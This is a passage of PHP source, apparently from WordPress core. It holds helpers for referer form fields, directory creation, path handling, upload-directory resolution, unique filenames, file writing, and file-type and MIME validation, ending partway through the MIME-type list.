$referer_field = '<input type="hidden" name="_wp_http_referer" value="'. esc_attr( wp_unslash( $_SERVER['REQUEST_URI'] ) ) . '" />';
if ( $echo )
echo $referer_field;
return $referer_field;
}
/**
* Retrieve or display original referer hidden field for forms.
*
* The input name is '_wp_original_http_referer' and will be either the same
* value of wp_referer_field(), if that was posted already or it will be the
* current page, if it doesn't exist.
*
* @since 2.0.4
*
* @param bool $echo Optional. Whether to echo the original http referer. Default true.
* @param string $jump_back_to Optional. Can be 'previous' or page you want to jump back to.
* Default 'current'.
* @return string Original referer field.
*/
function wp_original_referer_field( $echo = true, $jump_back_to = 'current' ) {
if ( ! $ref = wp_get_original_referer() ) {
$ref = 'previous' == $jump_back_to ? wp_get_referer() : wp_unslash( $_SERVER['REQUEST_URI'] );
}
$orig_referer_field = '<input type="hidden" name="_wp_original_http_referer" value="' . esc_attr( $ref ) . '" />';
if ( $echo )
echo $orig_referer_field;
return $orig_referer_field;
}
/**
* Retrieve referer from '_wp_http_referer' or HTTP referer.
*
* If it's the same as the current request URL, will return false.
*
* @since 2.0.4
*
* @return false|string False on failure. Referer URL on success.
*/
function wp_get_referer() {
if ( ! function_exists( 'wp_validate_redirect' ) ) {
return false;
}
$ref = wp_get_raw_referer();
if ( $ref && $ref !== wp_unslash( $_SERVER['REQUEST_URI'] ) && $ref !== home_url() . wp_unslash( $_SERVER['REQUEST_URI'] ) ) {
return wp_validate_redirect( $ref, false );
}
return false;
}
/**
* Retrieves unvalidated referer from '_wp_http_referer' or HTTP referer.
*
* Do not use for redirects, use wp_get_referer() instead.
*
* @since 4.5.0
*
* @return string|false Referer URL on success, false on failure.
*/
function wp_get_raw_referer() {
if ( ! empty( $_REQUEST['_wp_http_referer'] ) ) {
return wp_unslash( $_REQUEST['_wp_http_referer'] );
} else if ( ! empty( $_SERVER['HTTP_REFERER'] ) ) {
return wp_unslash( $_SERVER['HTTP_REFERER'] );
}
return false;
}
/**
* Retrieve original referer that was posted, if it exists.
*
* @since 2.0.4
*
* @return string|false False if no original referer or original referer if set.
*/
function wp_get_original_referer() {
if ( ! empty( $_REQUEST['_wp_original_http_referer'] ) && function_exists( 'wp_validate_redirect' ) )
return wp_validate_redirect( wp_unslash( $_REQUEST['_wp_original_http_referer'] ), false );
return false;
}
/**
* Recursive directory creation based on full path.
*
* Will attempt to set permissions on folders.
*
* @since 2.0.1
*
* @param string $target Full path to attempt to create.
* @return bool Whether the path was created. True if path already exists.
*/
function wp_mkdir_p( $target ) {
$wrapper = null;
// Strip the protocol.
if ( wp_is_stream( $target ) ) {
list( $wrapper, $target ) = explode( '://', $target, 2 );
}
// From php.net/mkdir user contributed notes.
$target = str_replace( '//', '/', $target );
// Put the wrapper back on the target.
if ( $wrapper !== null ) {
$target = $wrapper . '://' . $target;
}
/*
* Safe mode fails with a trailing slash under certain PHP versions.
* Use rtrim() instead of untrailingslashit to avoid formatting.php dependency.
*/
$target = rtrim($target, '/');
if ( empty($target) )
$target = '/';
if ( file_exists( $target ) )
return @is_dir( $target );
// Do not allow path traversals.
if ( false !== strpos( $target, '../' ) || false !== strpos( $target, '..' . DIRECTORY_SEPARATOR ) ) {
return false;
}
// We need to find the permissions of the parent folder that exists and inherit that.
$target_parent = dirname( $target );
while ( '.' != $target_parent && ! is_dir( $target_parent ) && dirname( $target_parent ) !== $target_parent ) {
$target_parent = dirname( $target_parent );
}
// Get the permission bits.
if ( $stat = @stat( $target_parent ) ) {
$dir_perms = $stat['mode'] & 0007777;
} else {
$dir_perms = 0777;
}
if ( @mkdir( $target, $dir_perms, true ) ) {
/*
* If a umask is set that modifies $dir_perms, we'll have to re-set
* the $dir_perms correctly with chmod()
*/
if ( $dir_perms != ( $dir_perms & ~umask() ) ) {
$folder_parts = explode( '/', substr( $target, strlen( $target_parent ) + 1 ) );
for ( $i = 1, $c = count( $folder_parts ); $i <= $c; $i++ ) {
@chmod( $target_parent . '/' . implode( '/', array_slice( $folder_parts, 0, $i ) ), $dir_perms );
}
}
return true;
}
return false;
}
/**
* Test if a given filesystem path is absolute.
*
* For example, '/foo/bar', or 'c:\windows'.
*
* @since 2.5.0
*
* @param string $path File path.
* @return bool True if path is absolute, false is not absolute.
*/
function path_is_absolute( $path ) {
/*
* This is definitive if true but fails if $path does not exist or contains
* a symbolic link.
*/
if ( realpath($path) == $path )
return true;
if ( strlen($path) == 0 || $path[0] == '.' )
return false;
// Windows allows absolute paths like this.
if ( preg_match('#^[a-zA-Z]:\\\\#', $path) )
return true;
// A path starting with / or \ is absolute; anything else is relative.
return ( $path[0] == '/' || $path[0] == '\\' );
}
/**
* Join two filesystem paths together.
*
* For example, 'give me $path relative to $base'. If the $path is absolute,
* then it the full path is returned.
*
* @since 2.5.0
*
* @param string $base Base path.
* @param string $path Path relative to $base.
* @return string The path with the base or absolute path.
*/
function path_join( $base, $path ) {
if ( path_is_absolute($path) )
return $path;
return rtrim($base, '/') . '/' . ltrim($path, '/');
}
/**
* Normalize a filesystem path.
*
* On windows systems, replaces backslashes with forward slashes
* and forces upper-case drive letters.
* Allows for two leading slashes for Windows network shares, but
* ensures that all other duplicate slashes are reduced to a single.
*
* @since 3.9.0
* @since 4.4.0 Ensures upper-case drive letters on Windows systems.
* @since 4.5.0 Allows for Windows network shares.
* @since 4.9.7 Allows for PHP file wrappers.
*
* @param string $path Path to normalize.
* @return string Normalized path.
*/
function wp_normalize_path( $path ) {
$wrapper = '';
if ( wp_is_stream( $path ) ) {
list( $wrapper, $path ) = explode( '://', $path, 2 );
$wrapper .= '://';
}
// Standardise all paths to use /
$path = str_replace( '\\', '/', $path );
// Replace multiple slashes down to a singular, allowing for network shares having two slashes.
$path = preg_replace( '|(?<=.)/+|', '/', $path );
// Windows paths should uppercase the drive letter
if ( ':' === substr( $path, 1, 1 ) ) {
$path = ucfirst( $path );
}
return $wrapper . $path;
}
/**
* Determine a writable directory for temporary files.
*
* Function's preference is the return value of sys_get_temp_dir(),
* followed by your PHP temporary upload directory, followed by WP_CONTENT_DIR,
* before finally defaulting to /tmp/
*
* In the event that this function does not find a writable location,
* It may be overridden by the WP_TEMP_DIR constant in your wp-config.php file.
*
* @since 2.5.0
*
* @staticvar string $temp
*
* @return string Writable temporary directory.
*/
function get_temp_dir() {
static $temp = '';
if ( defined('WP_TEMP_DIR') )
return trailingslashit(WP_TEMP_DIR);
if ( $temp )
return trailingslashit( $temp );
if ( function_exists('sys_get_temp_dir') ) {
$temp = sys_get_temp_dir();
if ( @is_dir( $temp ) && wp_is_writable( $temp ) )
return trailingslashit( $temp );
}
$temp = ini_get('upload_tmp_dir');
if ( @is_dir( $temp ) && wp_is_writable( $temp ) )
return trailingslashit( $temp );
$temp = WP_CONTENT_DIR . '/';
if ( is_dir( $temp ) && wp_is_writable( $temp ) )
return $temp;
return '/tmp/';
}
/**
* Determine if a directory is writable.
*
* This function is used to work around certain ACL issues in PHP primarily
* affecting Windows Servers.
*
* @since 3.6.0
*
* @see win_is_writable()
*
* @param string $path Path to check for write-ability.
* @return bool Whether the path is writable.
*/
function wp_is_writable( $path ) {
if ( 'WIN' === strtoupper( substr( PHP_OS, 0, 3 ) ) )
return win_is_writable( $path );
else
return @is_writable( $path );
}
/**
* Workaround for Windows bug in is_writable() function
*
* PHP has issues with Windows ACL's for determine if a
* directory is writable or not, this works around them by
* checking the ability to open files rather than relying
* upon PHP to interprate the OS ACL.
*
* @since 2.8.0
*
* @see https://bugs.php.net/bug.php?id=27609
* @see https://bugs.php.net/bug.php?id=30931
*
* @param string $path Windows path to check for write-ability.
* @return bool Whether the path is writable.
*/
function win_is_writable( $path ) {
if ( $path[strlen( $path ) - 1] == '/' ) { // if it looks like a directory, check a random file within the directory
return win_is_writable( $path . uniqid( mt_rand() ) . '.tmp');
} elseif ( is_dir( $path ) ) { // If it's a directory (and not a file) check a random file within the directory
return win_is_writable( $path . '/' . uniqid( mt_rand() ) . '.tmp' );
}
// check tmp file for read/write capabilities
$should_delete_tmp_file = !file_exists( $path );
$f = @fopen( $path, 'a' );
if ( $f === false )
return false;
fclose( $f );
if ( $should_delete_tmp_file )
unlink( $path );
return true;
}
/**
* Retrieves uploads directory information.
*
* Same as wp_upload_dir() but "light weight" as it doesn't attempt to create the uploads directory.
* Intended for use in themes, when only 'basedir' and 'baseurl' are needed, generally in all cases
* when not uploading files.
*
* @since 4.5.0
*
* @see wp_upload_dir()
*
* @return array See wp_upload_dir() for description.
*/
function wp_get_upload_dir() {
return wp_upload_dir( null, false );
}
/**
* Get an array containing the current upload directory's path and url.
*
* Checks the 'upload_path' option, which should be from the web root folder,
* and if it isn't empty it will be used. If it is empty, then the path will be
* 'WP_CONTENT_DIR/uploads'. If the 'UPLOADS' constant is defined, then it will
* override the 'upload_path' option and 'WP_CONTENT_DIR/uploads' path.
*
* The upload URL path is set either by the 'upload_url_path' option or by using
* the 'WP_CONTENT_URL' constant and appending '/uploads' to the path.
*
* If the 'uploads_use_yearmonth_folders' is set to true (checkbox if checked in
* the administration settings panel), then the time will be used. The format
* will be year first and then month.
*
* If the path couldn't be created, then an error will be returned with the key
* 'error' containing the error message. The error suggests that the parent
* directory is not writable by the server.
*
* On success, the returned array will have many indices:
* 'path' - base directory and sub directory or full path to upload directory.
* 'url' - base url and sub directory or absolute URL to upload directory.
* 'subdir' - sub directory if uploads use year/month folders option is on.
* 'basedir' - path without subdir.
* 'baseurl' - URL path without subdir.
* 'error' - false or error message.
*
* @since 2.0.0
* @uses _wp_upload_dir()
*
* @staticvar array $cache
* @staticvar array $tested_paths
*
* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @param bool $create_dir Optional. Whether to check and create the uploads directory.
* Default true for backward compatibility.
* @param bool $refresh_cache Optional. Whether to refresh the cache. Default false.
* @return array See above for description.
*/
function wp_upload_dir( $time = null, $create_dir = true, $refresh_cache = false ) {
static $cache = array(), $tested_paths = array();
$key = sprintf( '%d-%s', get_current_blog_id(), (string) $time );
if ( $refresh_cache || empty( $cache[ $key ] ) ) {
$cache[ $key ] = _wp_upload_dir( $time );
}
/**
* Filters the uploads directory data.
*
* @since 2.0.0
*
* @param array $uploads Array of upload directory data with keys of 'path',
* 'url', 'subdir, 'basedir', and 'error'.
*/
$uploads = apply_filters( 'upload_dir', $cache[ $key ] );
if ( $create_dir ) {
$path = $uploads['path'];
if ( array_key_exists( $path, $tested_paths ) ) {
$uploads['error'] = $tested_paths[ $path ];
} else {
if ( ! wp_mkdir_p( $path ) ) {
if ( 0 === strpos( $uploads['basedir'], ABSPATH ) ) {
$error_path = str_replace( ABSPATH, '', $uploads['basedir'] ) . $uploads['subdir'];
} else {
$error_path = basename( $uploads['basedir'] ) . $uploads['subdir'];
}
$uploads['error'] = sprintf(
/* translators: %s: directory path */
__( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
esc_html( $error_path )
);
}
$tested_paths[ $path ] = $uploads['error'];
}
}
return $uploads;
}
/**
* A non-filtered, non-cached version of wp_upload_dir() that doesn't check the path.
*
* @since 4.5.0
* @access private
*
* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @return array See wp_upload_dir()
*/
function _wp_upload_dir( $time = null ) {
$siteurl = get_option( 'siteurl' );
$upload_path = trim( get_option( 'upload_path' ) );
if ( empty( $upload_path ) || 'wp-content/uploads' == $upload_path ) {
$dir = WP_CONTENT_DIR . '/uploads';
} elseif ( 0 !== strpos( $upload_path, ABSPATH ) ) {
// $dir is absolute, $upload_path is (maybe) relative to ABSPATH
$dir = path_join( ABSPATH, $upload_path );
} else {
$dir = $upload_path;
}
if ( !$url = get_option( 'upload_url_path' ) ) {
if ( empty($upload_path) || ( 'wp-content/uploads' == $upload_path ) || ( $upload_path == $dir ) )
$url = WP_CONTENT_URL . '/uploads';
else
$url = trailingslashit( $siteurl ) . $upload_path;
}
/*
* Honor the value of UPLOADS. This happens as long as ms-files rewriting is disabled.
* We also sometimes obey UPLOADS when rewriting is enabled -- see the next block.
*/
if ( defined( 'UPLOADS' ) && ! ( is_multisite() && get_site_option( 'ms_files_rewriting' ) ) ) {
$dir = ABSPATH . UPLOADS;
$url = trailingslashit( $siteurl ) . UPLOADS;
}
// If multisite (and if not the main site in a post-MU network)
if ( is_multisite() && ! ( is_main_network() && is_main_site() && defined( 'MULTISITE' ) ) ) {
if ( ! get_site_option( 'ms_files_rewriting' ) ) {
/*
* If ms-files rewriting is disabled (networks created post-3.5), it is fairly
* straightforward: Append sites/%d if we're not on the main site (for post-MU
* networks). (The extra directory prevents a four-digit ID from conflicting with
* a year-based directory for the main site. But if a MU-era network has disabled
* ms-files rewriting manually, they don't need the extra directory, as they never
* had wp-content/uploads for the main site.)
*/
if ( defined( 'MULTISITE' ) )
$ms_dir = '/sites/' . get_current_blog_id();
else
$ms_dir = '/' . get_current_blog_id();
$dir .= $ms_dir;
$url .= $ms_dir;
} elseif ( defined( 'UPLOADS' ) && ! ms_is_switched() ) {
/*
* Handle the old-form ms-files.php rewriting if the network still has that enabled.
* When ms-files rewriting is enabled, then we only listen to UPLOADS when:
* 1) We are not on the main site in a post-MU network, as wp-content/uploads is used
* there, and
* 2) We are not switched, as ms_upload_constants() hardcodes these constants to reflect
* the original blog ID.
*
* Rather than UPLOADS, we actually use BLOGUPLOADDIR if it is set, as it is absolute.
* (And it will be set, see ms_upload_constants().) Otherwise, UPLOADS can be used, as
* as it is relative to ABSPATH. For the final piece: when UPLOADS is used with ms-files
* rewriting in multisite, the resulting URL is /files. (#WP22702 for background.)
*/
if ( defined( 'BLOGUPLOADDIR' ) )
$dir = untrailingslashit( BLOGUPLOADDIR );
else
$dir = ABSPATH . UPLOADS;
$url = trailingslashit( $siteurl ) . 'files';
}
}
$basedir = $dir;
$baseurl = $url;
$subdir = '';
if ( get_option( 'uploads_use_yearmonth_folders' ) ) {
// Generate the yearly and monthly dirs
if ( !$time )
$time = current_time( 'mysql' );
$y = substr( $time, 0, 4 );
$m = substr( $time, 5, 2 );
$subdir = "/$y/$m";
}
$dir .= $subdir;
$url .= $subdir;
return array(
'path' => $dir,
'url' => $url,
'subdir' => $subdir,
'basedir' => $basedir,
'baseurl' => $baseurl,
'error' => false,
);
}
/**
* Get a filename that is sanitized and unique for the given directory.
*
* If the filename is not unique, then a number will be added to the filename
* before the extension, and will continue adding numbers until the filename is
* unique.
*
* The callback is passed three parameters, the first one is the directory, the
* second is the filename, and the third is the extension.
*
* @since 2.5.0
*
* @param string $dir Directory.
* @param string $filename File name.
* @param callable $unique_filename_callback Callback. Default null.
* @return string New filename, if given wasn't unique.
*/
function wp_unique_filename( $dir, $filename, $unique_filename_callback = null ) {
// Sanitize the file name before we begin processing.
$filename = sanitize_file_name($filename);
// Separate the filename into a name and extension.
$ext = pathinfo( $filename, PATHINFO_EXTENSION );
$name = pathinfo( $filename, PATHINFO_BASENAME );
if ( $ext ) {
$ext = '.' . $ext;
}
// Edge case: if file is named '.ext', treat as an empty name.
if ( $name === $ext ) {
$name = '';
}
/*
* Increment the file number until we have a unique file to save in $dir.
* Use callback if supplied.
*/
if ( $unique_filename_callback && is_callable( $unique_filename_callback ) ) {
$filename = call_user_func( $unique_filename_callback, $dir, $name, $ext );
} else {
$number = '';
// Change '.ext' to lower case.
if ( $ext && strtolower($ext) != $ext ) {
$ext2 = strtolower($ext);
$filename2 = preg_replace( '|' . preg_quote($ext) . '$|', $ext2, $filename );
// Check for both lower and upper case extension or image sub-sizes may be overwritten.
while ( file_exists($dir . "/$filename") || file_exists($dir . "/$filename2") ) {
$new_number = (int) $number + 1;
$filename = str_replace( array( "-$number$ext", "$number$ext" ), "-$new_number$ext", $filename );
$filename2 = str_replace( array( "-$number$ext2", "$number$ext2" ), "-$new_number$ext2", $filename2 );
$number = $new_number;
}
/**
* Filters the result when generating a unique file name.
*
* @since 4.5.0
*
* @param string $filename Unique file name.
* @param string $ext File extension, eg. ".png".
* @param string $dir Directory path.
* @param callable|null $unique_filename_callback Callback function that generates the unique file name.
*/
return apply_filters( 'wp_unique_filename', $filename2, $ext, $dir, $unique_filename_callback );
}
while ( file_exists( $dir . "/$filename" ) ) {
$new_number = (int) $number + 1;
if ( '' == "$number$ext" ) {
$filename = "$filename-" . $new_number;
} else {
$filename = str_replace( array( "-$number$ext", "$number$ext" ), "-" . $new_number . $ext, $filename );
}
$number = $new_number;
}
}
/** This filter is documented in wp-includes/functions.php */
return apply_filters( 'wp_unique_filename', $filename, $ext, $dir, $unique_filename_callback );
}
/**
* Create a file in the upload folder with given content.
*
* If there is an error, then the key 'error' will exist with the error message.
* If success, then the key 'file' will have the unique file path, the 'url' key
* will have the link to the new file. and the 'error' key will be set to false.
*
* This function will not move an uploaded file to the upload folder. It will
* create a new file with the content in $bits parameter. If you move the upload
* file, read the content of the uploaded file, and then you can give the
* filename and content to this function, which will add it to the upload
* folder.
*
* The permissions will be set on the new file automatically by this function.
*
* @since 2.0.0
*
* @param string $name Filename.
* @param null|string $deprecated Never used. Set to null.
* @param mixed $bits File content
* @param string $time Optional. Time formatted in 'yyyy/mm'. Default null.
* @return array
*/
function wp_upload_bits( $name, $deprecated, $bits, $time = null ) {
if ( !empty( $deprecated ) )
_deprecated_argument( __FUNCTION__, '2.0.0' );
if ( empty( $name ) )
return array( 'error' => __( 'Empty filename' ) );
$wp_filetype = wp_check_filetype( $name );
if ( ! $wp_filetype['ext'] && ! current_user_can( 'unfiltered_upload' ) )
return array( 'error' => __( 'Sorry, this file type is not permitted for security reasons.' ) );
$upload = wp_upload_dir( $time );
if ( $upload['error'] !== false )
return $upload;
/**
* Filters whether to treat the upload bits as an error.
*
* Passing a non-array to the filter will effectively short-circuit preparing
* the upload bits, returning that value instead.
*
* @since 3.0.0
*
* @param mixed $upload_bits_error An array of upload bits data, or a non-array error to return.
*/
$upload_bits_error = apply_filters( 'wp_upload_bits', array( 'name' => $name, 'bits' => $bits, 'time' => $time ) );
if ( !is_array( $upload_bits_error ) ) {
$upload[ 'error' ] = $upload_bits_error;
return $upload;
}
$filename = wp_unique_filename( $upload['path'], $name );
$new_file = $upload['path'] . "/$filename";
if ( ! wp_mkdir_p( dirname( $new_file ) ) ) {
if ( 0 === strpos( $upload['basedir'], ABSPATH ) )
$error_path = str_replace( ABSPATH, '', $upload['basedir'] ) . $upload['subdir'];
else
$error_path = basename( $upload['basedir'] ) . $upload['subdir'];
$message = sprintf(
/* translators: %s: directory path */
__( 'Unable to create directory %s. Is its parent directory writable by the server?' ),
$error_path
);
return array( 'error' => $message );
}
$ifp = @ fopen( $new_file, 'wb' );
if ( ! $ifp )
return array( 'error' => sprintf( __( 'Could not write file %s' ), $new_file ) );
@fwrite( $ifp, $bits );
fclose( $ifp );
clearstatcache();
// Set correct file permissions
$stat = @ stat( dirname( $new_file ) );
$perms = $stat['mode'] & 0007777;
$perms = $perms & 0000666;
@ chmod( $new_file, $perms );
clearstatcache();
// Compute the URL
$url = $upload['url'] . "/$filename";
/** This filter is documented in wp-admin/includes/file.php */
return apply_filters( 'wp_handle_upload', array( 'file' => $new_file, 'url' => $url, 'type' => $wp_filetype['type'], 'error' => false ), 'sideload' );
}
/**
* Retrieve the file type based on the extension name.
*
* @since 2.5.0
*
* @param string $ext The extension to search.
* @return string|void The file type, example: audio, video, document, spreadsheet, etc.
*/
function wp_ext2type( $ext ) {
$ext = strtolower( $ext );
$ext2type = wp_get_ext_types();
foreach ( $ext2type as $type => $exts )
if ( in_array( $ext, $exts ) )
return $type;
}
/**
* Retrieve the file type from the file name.
*
* You can optionally define the mime array, if needed.
*
* @since 2.0.4
*
* @param string $filename File name or path.
* @param array $mimes Optional. Key is the file extension with value as the mime type.
* @return array Values with extension first and mime type.
*/
function wp_check_filetype( $filename, $mimes = null ) {
if ( empty($mimes) )
$mimes = get_allowed_mime_types();
$type = false;
$ext = false;
foreach ( $mimes as $ext_preg => $mime_match ) {
$ext_preg = '!\.(' . $ext_preg . ')$!i';
if ( preg_match( $ext_preg, $filename, $ext_matches ) ) {
$type = $mime_match;
$ext = $ext_matches[1];
break;
}
}
return compact( 'ext', 'type' );
}
/**
* Attempt to determine the real file type of a file.
*
* If unable to, the file name extension will be used to determine type.
*
* If it's determined that the extension does not match the file's real type,
* then the "proper_filename" value will be set with a proper filename and extension.
*
* Currently this function only supports renaming images validated via wp_get_image_mime().
*
* @since 3.0.0
*
* @param string $file Full path to the file.
* @param string $filename The name of the file (may differ from $file due to $file being
* in a tmp directory).
* @param array $mimes Optional. Key is the file extension with value as the mime type.
* @return array Values for the extension, MIME, and either a corrected filename or false
* if original $filename is valid.
*/
function wp_check_filetype_and_ext( $file, $filename, $mimes = null ) {
$proper_filename = false;
// Do basic extension validation and MIME mapping
$wp_filetype = wp_check_filetype( $filename, $mimes );
$ext = $wp_filetype['ext'];
$type = $wp_filetype['type'];
// We can't do any further validation without a file to work with
if ( ! file_exists( $file ) ) {
return compact( 'ext', 'type', 'proper_filename' );
}
$real_mime = false;
// Validate image types.
if ( $type && 0 === strpos( $type, 'image/' ) ) {
// Attempt to figure out what type of image it actually is
$real_mime = wp_get_image_mime( $file );
if ( $real_mime && $real_mime != $type ) {
/**
* Filters the list mapping image mime types to their respective extensions.
*
* @since 3.0.0
*
* @param array $mime_to_ext Array of image mime types and their matching extensions.
*/
$mime_to_ext = apply_filters( 'getimagesize_mimes_to_exts', array(
'image/jpeg' => 'jpg',
'image/png' => 'png',
'image/gif' => 'gif',
'image/bmp' => 'bmp',
'image/tiff' => 'tif',
) );
// Replace whatever is after the last period in the filename with the correct extension
if ( ! empty( $mime_to_ext[ $real_mime ] ) ) {
$filename_parts = explode( '.', $filename );
array_pop( $filename_parts );
$filename_parts[] = $mime_to_ext[ $real_mime ];
$new_filename = implode( '.', $filename_parts );
if ( $new_filename != $filename ) {
$proper_filename = $new_filename; // Mark that it changed
}
// Redefine the extension / MIME
$wp_filetype = wp_check_filetype( $new_filename, $mimes );
$ext = $wp_filetype['ext'];
$type = $wp_filetype['type'];
} else {
// Reset $real_mime and try validating again.
$real_mime = false;
}
}
}
// Validate files that didn't get validated during previous checks.
if ( $type && ! $real_mime && extension_loaded( 'fileinfo' ) ) {
$finfo = finfo_open( FILEINFO_MIME_TYPE );
$real_mime = finfo_file( $finfo, $file );
finfo_close( $finfo );
// fileinfo often misidentifies obscure files as one of these types
$nonspecific_types = array(
'application/octet-stream',
'application/encrypted',
'application/CDFV2-encrypted',
'application/zip',
);
/*
* If $real_mime doesn't match the content type we're expecting from the file's extension,
* we need to do some additional vetting. Media types and those listed in $nonspecific_types are
* allowed some leeway, but anything else must exactly match the real content type.
*/
if ( in_array( $real_mime, $nonspecific_types, true ) ) {
// File is a non-specific binary type. That's ok if it's a type that generally tends to be binary.
if ( !in_array( substr( $type, 0, strcspn( $type, '/' ) ), array( 'application', 'video', 'audio' ) ) ) {
$type = $ext = false;
}
} elseif ( 0 === strpos( $real_mime, 'video/' ) || 0 === strpos( $real_mime, 'audio/' ) ) {
/*
* For these types, only the major type must match the real value.
* This means that common mismatches are forgiven: application/vnd.apple.numbers is often misidentified as application/zip,
* and some media files are commonly named with the wrong extension (.mov instead of .mp4)
*/
if ( substr( $real_mime, 0, strcspn( $real_mime, '/' ) ) !== substr( $type, 0, strcspn( $type, '/' ) ) ) {
$type = $ext = false;
}
} elseif ( 'text/plain' === $real_mime ) {
// A few common file types are occasionally detected as text/plain; allow those.
if ( ! in_array(
$type,
array(
'text/plain',
'text/csv',
'text/richtext',
'text/tsv',
'text/vtt',
)
)
) {
$type = $ext = false;
}
} elseif ( 'text/rtf' === $real_mime ) {
// Special casing for RTF files.
if ( ! in_array(
$type,
array(
'text/rtf',
'text/plain',
'application/rtf',
)
)
) {
$type = $ext = false;
}
} else {
if ( $type !== $real_mime ) {
/*
* Everything else including image/* and application/*:
* If the real content type doesn't match the file extension, assume it's dangerous.
*/
$type = $ext = false;
}
}
}
// The mime type must be allowed
if ( $type ) {
$allowed = get_allowed_mime_types();
if ( ! in_array( $type, $allowed ) ) {
$type = $ext = false;
}
}
/**
* Filters the "real" file type of the given file.
*
* @since 3.0.0
*
* @param array $wp_check_filetype_and_ext File data array containing 'ext', 'type', and
* 'proper_filename' keys.
* @param string $file Full path to the file.
* @param string $filename The name of the file (may differ from $file due to
* $file being in a tmp directory).
* @param array $mimes Key is the file extension with value as the mime type.
*/
return apply_filters( 'wp_check_filetype_and_ext', compact( 'ext', 'type', 'proper_filename' ), $file, $filename, $mimes );
}
/**
* Returns the real mime type of an image file.
*
* This depends on exif_imagetype() or getimagesize() to determine real mime types.
*
* @since 4.7.1
*
* @param string $file Full path to the file.
* @return string|false The actual mime type or false if the type cannot be determined.
*/
function wp_get_image_mime( $file ) {
/*
* Use exif_imagetype() to check the mimetype if available or fall back to
* getimagesize() if exif isn't avaialbe. If either function throws an Exception
* we assume the file could not be validated.
*/
try {
if ( is_callable( 'exif_imagetype' ) ) {
$imagetype = exif_imagetype( $file );
$mime = ( $imagetype ) ? image_type_to_mime_type( $imagetype ) : false;
} elseif ( function_exists( 'getimagesize' ) ) {
$imagesize = getimagesize( $file );
$mime = ( isset( $imagesize['mime'] ) ) ? $imagesize['mime'] : false;
} else {
$mime = false;
}
} catch ( Exception $e ) {
$mime = false;
}
return $mime;
}
/**
* Retrieve list of mime types and file extensions.
*
* @since 3.5.0
* @since 4.2.0 Support was added for GIMP (xcf) files.
*
* @return array Array of mime types keyed by the file extension regex corresponding to those types.
*/
function wp_get_mime_types() {
/**
* Filters the list of mime types and file extensions.
*
* This filter should be used to add, not remove, mime types. To remove
* mime types, use the {@see 'upload_mimes'} filter.
*
* @since 3.5.0
*
* @param array $wp_get_mime_types Mime types keyed by the file extension regex
* corresponding to those types.
*/
return apply_filters( 'mime_types', array(
// Image formats.
'jpg|jpeg|jpe' => 'image/jpeg',
'gif' => 'image/gif',
'png' => 'image/png',
'bmp' => 'image/bmp',
'tiff|tif' => 'image/tiff',
'ico' => 'image/x-icon',
// Video formats.
'asf|asx' => 'video/x-ms-asf',
'wmv' => 'video/x-ms-wmv',
'wmx' => 'video/x-ms-wmx',
'wm' => 'video/x-ms-wm',
'avi' => 'video/avi',
'divx' => 'video/divx',
'flv' => 'video/x-flv',
'mov|qt' => 'video/quicktime',
'mpeg|mpg|mpe' => 'video/mpeg',
'mp4|m4v' => 'video/mp4',
'ogv' => 'video/ogg',
'webm' => 'video/webm',
'mkv' => 'video/x-matroska',
'3gp|3gpp' => 'video/3gpp', // Can also be audio
'3g2|3gp2' => 'video/3gpp2', // Can also be audio
// Text formats.
'txt|asc|c|cc|h|srt' => 'text/plain',
'csv' => 'text/csv',
'tsv' => 'text/tab-separated-values',
'ics' => 'text/calendar',
'rtx' => 'text/richtext',
'css' => 'text/css',
'htm|html' => 'text/html',
'vtt' => 'text/vtt',
'dfxp' => 'application/ttaf+xml',
// Audio formats.
'mp3|m4a|m4b' => 'audio/mpeg',
'aac' => 'audio/aac',
'ra|ram' => 'audio/x-realaudio',
'wav' => 'audio/wav',
'ogg|oga' => 'audio/ogg',
'flac' => 'audio/flac',
'mid|midi' => 'audio/midi',
'wma' => 'audio/x-ms-wma',
'wax' => 'audio/x-ms-wax',
'mka' => 'audio/x-matroska',
// Misc application formats.
'rtf' => 'application/rtf',
'js' => 'application/javascript',
'pdf' => 'application/pdf',
'swf' => 'application/x-shockwave-flash',
'class' => 'application/java',
'tar' => 'application/x-tar',
'zip' => 'application/zip',
'gz|gzip' => 'application/x-gzip',
'rar' => 'application/rar',
'7z' => 'application/x-7z-compressed',
'exe' => 'application/x-msdownload',
'psd' => 'application/octet-stream',
'xcf' => 'application/octet-stream',
// MS Office formats.
'doc' => 'application/msword',
'pot|pps|ppt' => 'application/vnd.ms-powerpoint',
'wri' => 'application/vnd.ms-write',
'xla|xls|xlt|xlw' => 'application/vnd.ms-excel',
'mdb' => 'application/vnd.ms-access',
'mpp' => 'application/vnd.ms-project',
'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
'docm' => 'application/vnd.ms-word.document.macroEnabled.12',
'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',
'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12',
'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12',
'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',
'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12',
'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12',
'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
'sldm' => 'application/vnd.ms-powerpoint.slide.macroEnabled.12',
'onetoc|onetoc2|onetmp|onepkg' => 'application/onenote',
'oxps' => 'application/oxps',
'xps' => 'application/vnd.ms-xpsdocument',
// OpenOffice formats.
'odt' => 'application/vnd.oasis.opendocument.text',
'odp' => 'application/vnd.oasis.opendocument.presentation',
'ods' => 'application/vnd.oasis.opendocument.spreadsheet',
'odg' => 'application/vnd.oasis.opendocument.graphics',
'odc' => 'application/vnd.oasis.opendocument.chart',
'odb' => 'application/vnd.oasis.opendocument.database',
'odf' => 'application/vnd.oasis.opendocument.formula',
